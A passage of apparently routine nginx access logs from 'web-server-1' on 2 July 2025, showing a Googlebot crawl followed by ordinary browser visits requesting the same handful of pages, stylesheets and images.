HTTP/1.1" 200 26394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:03 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:04:03 +0000] "GET /products/123 HTTP/1.1" 200 22616 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:03 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:04:03 +0000] "GET /images/logo.png HTTP/1.1" 200 20202 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:03 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:03 +0000] "GET /images/logo.png HTTP/1.1" 200 15739 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /blog/posts/latest HTTP/1.1" 404 31757 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:04:04 +0000] "GET /images/logo.png HTTP/1.1" 200 43792 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /contact HTTP/1.1" 200 50553 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:04:04 +0000] "GET /css/main.css HTTP/1.1" 200 15673 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:04:05 +0000] "GET /css/main.css HTTP/1.1" 200 30533 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:04:05 +0000] "GET /contact HTTP/1.1" 200 20616 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:06 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:06 +0000] "GET /images/logo.png HTTP/1.1" 200 39001 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:06 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:04:06 +0000] "GET /blog/posts/latest HTTP/1.1" 200 16209 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:07 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:07 +0000] "GET /products/123 HTTP/1.1" 200 30012 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:07 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:04:07 +0000] "GET /contact HTTP/1.1" 200 41262 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:07 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:04:07 +0000] "GET /index.html HTTP/1.1" 200 63622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:08 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:08 +0000] "GET /index.html HTTP/1.1" 200 77238 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:09 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:04:09 +0000] "GET /images/logo.png HTTP/1.1" 200 16936 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:09 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:04:09 +0000] "GET /contact HTTP/1.1" 200 79765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:09 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:04:09 +0000] "GET /products/123 HTTP/1.1" 200 78796 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:10 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:04:10 +0000] "GET /contact HTTP/1.1" 200 71579 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:04:11 +0000] "GET /products/123 HTTP/1.1" 200 18907 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:11 +0000] "GET /blog/posts/latest HTTP/1.1" 200 41603 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:12 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:12 +0000] "GET /blog/posts/latest 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45634 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:17 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:17 +0000] "GET /blog/posts/latest HTTP/1.1" 200 60716 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:17 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:17 +0000] "GET /images/logo.png HTTP/1.1" 200 53078 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:18 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:18 +0000] "GET /about-us HTTP/1.1" 200 67586 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:04:19 +0000] "GET /contact HTTP/1.1" 200 61828 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:04:19 +0000] "GET /images/logo.png HTTP/1.1" 200 37737 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server-1 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"Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:23 +0000] "GET /about-us HTTP/1.1" 200 75206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:04:23 +0000] "GET /products/123 HTTP/1.1" 404 48323 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:23 +0000] "GET /contact HTTP/1.1" 200 17939 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:23 +0000] "GET /blog/posts/latest HTTP/1.1" 200 34052 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:04:24 +0000] "GET /products/123 HTTP/1.1" 200 16487 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:24 +0000] "GET /css/main.css HTTP/1.1" 200 15021 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:25 +0000] "GET /index.html HTTP/1.1" 200 45171 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:26 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:04:26 +0000] "GET /about-us HTTP/1.1" 404 65558 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:27 +0000] "GET /index.html HTTP/1.1" 301 54087 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:04:27 +0000] "GET /index.html HTTP/1.1" 200 32510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:27 +0000] "GET /about-us HTTP/1.1" 200 48570 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:04:27 +0000] "GET /blog/posts/latest HTTP/1.1" 200 43369 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:04:28 +0000] "GET /css/main.css HTTP/1.1" 200 42993 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:28 +0000] "GET /images/logo.png HTTP/1.1" 200 61589 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /css/main.css HTTP/1.1" 200 67969 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:04:28 +0000] "GET /images/logo.png HTTP/1.1" 301 61566 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:28 +0000] "GET /about-us HTTP/1.1" 200 29025 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:04:29 +0000] "GET /images/logo.png HTTP/1.1" 200 40390 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:04:30 +0000] "GET /css/main.css HTTP/1.1" 200 52379 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:04:30 +0000] "GET /css/main.css HTTP/1.1" 200 44463 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:30 +0000] "GET /blog/posts/latest HTTP/1.1" 200 60643 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:04:30 +0000] "GET /about-us HTTP/1.1" 200 71489 "-" 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"Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:04:35 +0000] "GET /contact HTTP/1.1" 200 76557 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:04:35 +0000] "GET /blog/posts/latest HTTP/1.1" 200 21237 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:04:35 +0000] "GET /contact HTTP/1.1" 200 53324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:04:35 +0000] "GET /images/logo.png HTTP/1.1" 404 76088 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:35 +0000] "GET /about-us HTTP/1.1" 200 74590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server-1 nginx[5678]: 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"Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:46 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:46 +0000] "GET /products/123 HTTP/1.1" 200 67128 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:46 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:04:46 +0000] "GET /blog/posts/latest HTTP/1.1" 200 44999 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:47 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:47 +0000] "GET /images/logo.png HTTP/1.1" 200 74554 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:47 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:04:47 +0000] "GET /index.html HTTP/1.1" 200 54474 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:47 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:04:47 +0000] "GET /contact HTTP/1.1" 200 54673 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:48 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:48 +0000] "GET /blog/posts/latest HTTP/1.1" 200 21773 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:48 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:04:48 +0000] "GET /blog/posts/latest HTTP/1.1" 301 26361 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:04:49 +0000] "GET /css/main.css HTTP/1.1" 200 62639 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:04:49 +0000] "GET /about-us HTTP/1.1" 200 17243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:04:50 +0000] "GET /products/123 HTTP/1.1" 200 26707 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:51 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:04:51 +0000] "GET /contact HTTP/1.1" 200 29207 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:51 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:04:51 +0000] "GET /about-us HTTP/1.1" 404 47549 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:51 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:51 +0000] "GET /index.html HTTP/1.1" 200 31291 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:52 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:52 +0000] "GET /images/logo.png HTTP/1.1" 404 51411 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:53 +0000] "GET /about-us HTTP/1.1" 200 51045 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:04:53 +0000] "GET /css/main.css HTTP/1.1" 200 42057 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:04:53 +0000] "GET /index.html HTTP/1.1" 200 19075 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:53 +0000] "GET /css/main.css HTTP/1.1" 200 16566 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:04:53 +0000] "GET /about-us HTTP/1.1" 200 59480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:55 +0000] "GET /css/main.css HTTP/1.1" 200 45616 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:04:55 +0000] "GET /images/logo.png HTTP/1.1" 200 37522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:04:55 +0000] "GET /contact HTTP/1.1" 200 38724 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:55 +0000] "GET /css/main.css HTTP/1.1" 200 16394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:04:55 +0000] "GET /index.html HTTP/1.1" 200 39692 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:04:56 +0000] "GET /about-us HTTP/1.1" 200 33296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /index.html HTTP/1.1" 200 77514 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products/123 HTTP/1.1" 200 15389 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:04:56 +0000] "GET /images/logo.png HTTP/1.1" 200 73551 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:04:57 +0000] "GET /blog/posts/latest HTTP/1.1" 200 26431 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:04:57 +0000] "GET /contact HTTP/1.1" 200 43240 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:04:57 +0000] "GET /blog/posts/latest HTTP/1.1" 200 48663 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /products/123 HTTP/1.1" 200 60550 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:04:58 +0000] "GET /index.html HTTP/1.1" 200 76916 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /contact HTTP/1.1" 301 41477 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:02 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:02 +0000] "GET /blog/posts/latest HTTP/1.1" 200 12818 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:02 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:02 +0000] "GET /about-us HTTP/1.1" 200 1014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:03 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:03 +0000] "GET /blog/posts/latest HTTP/1.1" 200 2018 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:08 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:08 +0000] "GET /index.html HTTP/1.1" 200 19643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:11 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:11 +0000] "GET /about-us HTTP/1.1" 200 17388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:13 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:13 +0000] "GET /contact HTTP/1.1" 200 12630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:14 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:14 +0000] "GET /contact HTTP/1.1" 200 2852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:15 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:15 +0000] "GET /css/main.css HTTP/1.1" 304 10180 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:16 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:16 +0000] "GET /index.html HTTP/1.1" 200 1241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:19 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:19 +0000] "GET /products/123 HTTP/1.1" 200 8784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:20 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:20 +0000] "GET /products/123 HTTP/1.1" 200 5557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:23 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:23 +0000] "GET /products/123 HTTP/1.1" 200 23897 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:28 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:28 +0000] "GET /contact HTTP/1.1" 200 5753 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:29 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:05:29 +0000] "GET /contact HTTP/1.1" 304 24263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:30 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:30 +0000] "GET /index.html HTTP/1.1" 200 4616 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:30 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:30 +0000] "GET /css/main.css HTTP/1.1" 200 12500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:32 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:32 +0000] "GET /css/main.css HTTP/1.1" 200 3329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:36 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:05:36 +0000] "GET /about-us HTTP/1.1" 200 17078 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:39 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:05:39 +0000] "GET /contact HTTP/1.1" 200 14848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:41 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:41 +0000] "GET /css/main.css HTTP/1.1" 200 6355 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:42 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:42 +0000] "GET /images/logo.png HTTP/1.1" 200 16453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:49 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:05:49 +0000] "GET /products/123 HTTP/1.1" 200 771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:52 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:52 +0000] "GET /products/123 HTTP/1.1" 404 16818 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:05:57 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:05:57 +0000] "GET /index.html HTTP/1.1" 200 1973 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:57 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:05:57 +0000] "GET /images/logo.png HTTP/1.1" 200 10062 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:00 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:00 +0000] "GET /about-us HTTP/1.1" 200 20042 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:03 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:06:03 +0000] "GET /index.html HTTP/1.1" 200 1117 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:06 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:06 +0000] "GET /images/logo.png HTTP/1.1" 200 7124 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:14 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:06:14 +0000] "GET /index.html HTTP/1.1" 200 11227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:17 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:17 +0000] "GET /css/main.css HTTP/1.1" 200 10669 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:18 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:06:18 +0000] "GET /about-us HTTP/1.1" 200 5822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:19 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:06:19 +0000] "GET /blog/posts/latest HTTP/1.1" 304 13489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:22 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:06:22 +0000] "GET /blog/posts/latest HTTP/1.1" 200 16336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 